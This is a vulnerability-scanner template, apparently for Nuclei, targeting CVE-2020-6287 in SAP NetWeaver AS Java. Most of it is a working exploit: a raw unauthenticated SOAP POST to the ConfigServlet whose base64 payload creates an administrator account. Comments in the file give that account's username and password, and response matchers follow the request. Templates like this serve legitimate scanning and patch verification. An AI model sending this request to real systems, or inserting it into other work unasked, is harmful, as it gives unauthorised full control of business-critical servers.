id: CVE-2020-6287

info:
  name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition
  author: dwisiswant0
  severity: critical
  description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.
  reference:
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
    - https://github.com/chipik/SAP_RECON
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-6287
    cwe-id: CWE-306
  tags: cve,cve2020,sap,cisa

requests:
  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>

      # userName - sapRpoc6351
      # password - Secure!PwD8890

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "CTCWebServiceSi"
          - "SOAP-ENV"
        part: body
        condition: and

      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/xml"
          - "SAP NetWeaver Application Server"
        part: header

# Enhanced by mp on 2022/04/29